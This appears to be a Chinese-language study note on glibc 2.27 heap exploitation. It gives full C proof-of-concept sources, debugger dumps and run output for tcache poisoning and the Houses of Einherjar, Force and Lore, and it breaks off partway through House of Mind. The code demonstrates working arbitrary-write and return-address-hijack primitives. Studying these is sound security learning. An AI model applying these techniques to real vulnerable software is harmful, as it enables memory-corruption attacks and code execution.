0x110 [ 7]: 0x55555555bae0 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdcb8 —▸ 0x7fffffffdd88 —▸ 0x7fffffffe130

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
This file demonstrates a powerful tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this demo, the stack).
This attack only relies on double free.

The address we want malloc() to return, namely,
the target address is 0x7fffffffdd00.

Preparing heap layout
Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.
Allocating a chunk for later consolidation
Allocating the victim chunk.
malloc(0x100): a=0x55555555bae0.
Allocating a padding to prevent consolidation.

Now we are able to cause chunk overlapping
Step 1: fill up tcache list
Step 2: free the victim chunk so it will be added to unsorted bin
Step 3: free the previous chunk and make it consolidate with the victim chunk.
Step 4: add the victim chunk to tcache list by taking one out from it and free victim again

Launch tcache poisoning
Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk
We simply overwrite victim's fwd pointer
Now we can cash out the target chunk.
The new chunk is at 0x7fffffffdd00
Got control on target/stack!

Note:
And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim
In that case, once you have done this exploitation, you can have many arbitary writes very easily

house_of_einherjar(off-by-null)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 18.04.4 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x4f8);
int real_b_size = malloc_usable_size(b);

printf("\nWe allocate 0x4f8 bytes for 'b'.\n");
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x500) | prev_inuse = 0x501\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
/* VULNERABILITY */
a[real_a_size] = 0;
/* VULNERABILITY */
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
//

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);

assert((long)d == (long)&fake_chunk[2]);
}

利用方式和2.23下差不多,首先创建了一个0x38大小的堆块,接着在栈上伪造prev_size, size, fd, bk, fd_nextsize, bk_nextsize。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x41

pwndbg> x/20gx 0x7fffffffdc20
0x7fffffffdc20: 0x0000000000000100 0x0000000000000100
0x7fffffffdc30: 0x00007fffffffdc20 0x00007fffffffdc20
0x7fffffffdc40: 0x00007fffffffdc20 0x00007fffffffdc20

接下来mallc了0x4f8大小的chunk b。现在假设有一个off-by-null漏洞通过a溢出了,改了b的size为0x500(将inuse位改成了0),现在ptmalloc认定b为释放掉的chunk。想要与fake_chunk合并,我们还需要伪造一下prev_size。fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);,同时还需要将fake的size给改掉

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x55555555b250
0x55555555b250: 0x0000000000000000 0x0000000000000041
0x55555555b260: 0x0000000000000000 0x0000000000000000
0x55555555b270: 0x0000000000000000 0x0000000000000000
0x55555555b280: 0x0000000000000000 0x0000000000000000
0x55555555b290: 0xffffd5555555d670 0x0000000000000500

pwndbg> x/20gx 0x7fffffffdc20
0x7fffffffdc20: 0x0000000000000100 0xffffd5555555d670
0x7fffffffdc30: 0x00007fffffffdc20 0x00007fffffffdc20
0x7fffffffdc40: 0x00007fffffffdc20 0x00007fffffffdc20

现在释放就可以合并了。现在mallc的时候就会分配到伪造的栈上那里。运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Welcome to House of Einherjar!
Tested in Ubuntu 18.04.4 64bit.
This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

We allocate 0x38 bytes for 'a'
a: 0x55555555b260
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38

We create a fake chunk wherever we want, in this case we'll create the chunk on the stack
However, you can also create the chunk in the heap or the bss, as long as you know its address
We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks
(although we could do the unsafe unlink technique here in some scenarios)
Our fake chunk at 0x7fffffffdcc0 looks like:
prev_size (not used): 0x100
size: 0x100
fwd: 0x7fffffffdcc0
bck: 0x7fffffffdcc0
fwd_nextsize: 0x7fffffffdcc0
bck_nextsize: 0x7fffffffdcc0

We allocate 0x4f8 bytes for 'b'.
b: 0x55555555b2a0

b.size: 0x501
b.size is: (0x500) | prev_inuse = 0x501
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x500
This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit
If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk

We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0x55555555b290 - 0x7fffffffdcc0 = 0xffffd5555555d5d0

Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
Our fake chunk size is now 0xffffd5555557e341 (b.size + fake_prev_size)

Now we can call malloc() and it will begin in our fake chunk
Next malloc(0x200) is at 0x7fffffffdcd0

house_of_force(top chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);



fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);

assert(ctr_chunk == bss_var);

}

此攻击手法和2.23下的差不多,核心就是控制top chunk的size然后实现任意地址写。现在malloc一个0x100大小的堆块p1,假设可以通过p1溢出到top chunk,并将topchunk size改为-1。看如下的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

size为-1的时候会变得无限大,会满足利用top chunk分配条件,这个时候我们可以控制分配的指针达到任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55555555b250
Size: 0x111

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x55555555b360
Size: 0xffffffffffffffff

从top_chunk分配的话只要向前推到bss_var - 0x10就行了。然后malloc(100)就可以控制bss_var了,改bss_var为YEAH!!!。

In [1]: hex(0x55555555b360 + 0xffffffffffffcce0 + 0x10)
Out[1]: ‘0x10000555555558050’

1
2
3
4
5
6
7
8
pwndbg> x/10gx 0x555555558060 - 0x10
0x555555558050: 0x0000000000000000 0x0000000000000071
0x555555558060 <bss_var>: 0x0021212148414559 0x676e697274732061
0x555555558070 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
0x555555558080 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
0x555555558090: 0x0000000000000000 0x0000000000000000
pwndbg> x/s 0x555555558060
0x555555558060 <bss_var>: "YEAH!!!"

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Welcome to the House of Force

The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.

In the end, we will use this to overwrite a variable at 0x555555558060.
Its current value is: This is a string that we want to overwrite.

Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x55555555b250.

Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
Real size (aligned and all that jazz) of our allocated chunk is 280.

Now let's emulate a vulnerability that can overwrite the header of the Top Chunk

The top chunk starts at 0x55555555b360

Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
Old size of top chunk 0x20ca1
New size of top chunk 0xffffffffffffffff

The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
Next, we will allocate a chunk that will get us right up against the desired region (with an integer
overflow) and will then be able to allocate a chunk right over the desired region.

The value we want to write to at 0x555555558060, and the top chunk is at 0x55555555b360, so accounting for the header size,
we will malloc 0xffffffffffffcce0 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x55555555b360

Now, the next chunk we overwrite will point at our target buffer.
malloc(100) => 0x555555558060!
Now, we can finally overwrite that value:
... old string: This is a string that we want to overwrite.
... doing strcpy overwrite with "YEAH!!!"...
... new string: YEAH!!!

house_of_lore(small bin)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
void* fake_freelist[7][4];

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake free-list on the stack\n");
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
fprintf(stderr, "fake free-list at %p\n", fake_freelist);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
"introduced by smallbin-to-tcache mechanism\n");
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing dummy chunk\n");
for(int i=0; i<7; i++) free(dummies[i]);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------
fprintf(stderr, "Now take all dummies chunk in tcache out\n");
for(int i=0; i<7; i++) malloc(0x100);


fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

此攻击手法没有在2.23那里调试过,这里调试一下。首先malloc 8个0x100大小的chunk,其中第一个会成为利用的对象,2-8会成为放入tcache中的对象。

并在栈上创建了一个指针数组fake_freelist,还创建了两个栈上数组一个是0x20一个是0x18stack_buffer_1 stack_buffer_2,将fake_freelist伪造成每0x20就链接到下一个地址,最后0x80不做操作,并将stack_buffer这两个变量进行一些赋值。具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/30gx 0x7fffffffdb30
0x7fffffffdb30: 0x00007ffff7ffe738 0x0000000000000000
0x7fffffffdb40: 0x0000000000000001 0x00007fffffffdb50
0x7fffffffdb50: 0x0000000000000000 0x000000006562b026
0x7fffffffdb60: 0x00007ffff7ffea98 0x00007fffffffdb70
0x7fffffffdb70: 0x00007fffffffdce0 0x00007ffff7ffe710
0x7fffffffdb80: 0x0000000000000000 0x00007fffffffdb90
0x7fffffffdb90: 0x0000000000000000 0x00007fffffffdce0
0x7fffffffdba0: 0x0000000000000000 0x00007fffffffdbb0
0x7fffffffdbb0: 0x0000000000000000 0x00007ffff7ffe710
0x7fffffffdbc0: 0x00007ffff7b97787 0x00007fffffffdbd0
0x7fffffffdbd0: 0x00007fffffffdc00 0x00007fffffffdc10
0x7fffffffdbe0: 0x00007ffff7ffea98 0x00007fffffffdbf0
0x7fffffffdbf0: 0x0000000000000000 0x0000000000000000
0x7fffffffdc00: 0x00000000ffffffff 0x0000000000000000

pwndbg> x/20gx 0x7fffffffdc10
0x7fffffffdc10: 0x0000000000000000 0x0000000000000000
0x7fffffffdc20: 0x00007fffffffdc30 0x00007fffffffdb30
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000
0x7fffffffdc40: 0x000055555555b250 0x00007fffffffdc10

stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];

下面等会说一下为什么stack_buffer这样子构造。接下来分配0x10000大小的堆块这个是为了防止与top_chunk合并。将2-8入tcache,这个victim就可以直接进入unsortedbin。malloc(1200)这个堆块之后victim就会进入smallbin中,接下来假设有一个漏洞可以改victim这个堆块的bk为stack_buffer_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bin
tcachebins
0x110 [ 7]: 0x55555555b9d0 —▸ 0x55555555b8c0 —▸ 0x55555555b7b0 —▸ 0x55555555b6a0 —▸ 0x55555555b590 —▸ 0x55555555b480 —▸ 0x55555555b370 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110 [corrupted]
FD: 0x55555555b250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x55555555b250
BK: 0x55555555b250 —▸ 0x7fffffffdc30 —▸ 0x7fffffffdc10 —▸ 0x7fffffffdb30 —▸ 0x7fffffffdb50 ◂— ...

现在将tcache清空,做一个和fastbin_reverse_into_tcache很相似的操作为的就是将bk这里的链表逆向链入tcache bins也就是malloc(0x100)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bin
tcachebins
0x110 [ 7]: 0x7fffffffdbc0 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdb80 —▸ 0x7fffffffdb60 —▸ 0x7fffffffdb40 —▸ 0x7fffffffdc20 —▸ 0x7fffffffdc40 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110 [corrupted]
FD: 0x55555555b250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x55555555b250
BK: 0x7fffffffdbd0 —▸ 0x7fffffffdbf0 ◂— 0x0

如上,栈地址就进入了tcachebins中,此时申请0x100的时候就会申请到栈上。现在说一下为什么 stack_buffer需要这样构造?

1
2
3
4
5
6
7
8
9
10
11
12
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

看这个源码会有一个ifbck->fd != victim对这个进行判断,因为只有绕过这个if,才可以malloc成功。接下来就是修改栈上的返回地址为target_function,最后会跳到target_function

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Welcome to the House of Lore
This is a revisited version that bypass also the hardening check introduced by glibc malloc
This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27

Allocating the victim chunk
Allocated the first small chunk on the heap at 0x55555555b260
Allocating dummy chunks for using up tcache later
stack_buffer_1 at 0x7fffffffdce0
stack_buffer_2 at 0x7fffffffdcc0
Create a fake free-list on the stack
fake free-list at 0x7fffffffdbe0
Create a fake chunk on the stack
Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list
Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackSet the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash introduced by smallbin-to-tcache mechanism
Allocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free()
Allocated the large chunk on the heap at 0x55555555bae0
Freeing dummy chunk
Freeing the chunk 0x55555555b260, it will be inserted in the unsorted bin

In the unsorted bin the victim's fwd and bk pointers are nil
victim->fwd: 0x7ffff7dcfca0
victim->bk: 0x7ffff7dcfca0

Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
This means that the chunk 0x55555555b260 will be inserted in front of the SmallBin
The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0x55555555bed0
The victim chunk has been sorted and its fwd and bk pointers updated
victim->fwd: 0x7ffff7dcfda0
victim->bk: 0x7ffff7dcfda0

Now emulating a vulnerability that can overwrite the victim->bk pointer
Now take all dummies chunk in tcache out
Now allocating a chunk with size equal to the first one freed
This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
p4 = malloc(0x100)

The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7fffffffdcf0

p4 is 0x7fffffffdc70 and should be on the stack!
Nice jump d00d

house_of_mind_fastbin(arena)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>


int main(){

printf("House of Mind - Fastbin Variant\n");
puts("==================================");
printf("The goal of this technique is to create a fake arena\n");
printf("at an offset of HEAP_MAX_SIZE\n");

printf("Then, we write to the fastbins when the chunk is freed\n");
printf("This creates a somewhat constrained WRITE-WHERE primitive\n");
// Values for the allocation information.
int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635

printf("Find initial location of the heap\n");
// The target location of our attack and the fake arena to use
uint8_t* fake_arena = malloc(0x1000);
uint8_t* target_loc = fake_arena + 0x30;

uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

/*
Prepare a valid 'malloc_state' (arena) 'system_mem'
to store a fastbin. This is important because the size
of a chunk is validated for being too small or too large
via the 'system_mem' of the 'malloc_state'. This just needs
to be a value larger than our fastbin chunk.
*/
printf("Set 'system_mem' (offset 0x888) for fake arena\n");
fake_arena[0x888] = 0xFF;
fake_arena[0x889] = 0xFF;
fake_arena[0x88a] = 0xFF;

printf("Target Memory Address for overwrite: %p\n", target_loc);
printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);

// Calculate the location of our fake arena
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

uint64_t* user_mem = malloc(MAX_SIZE);
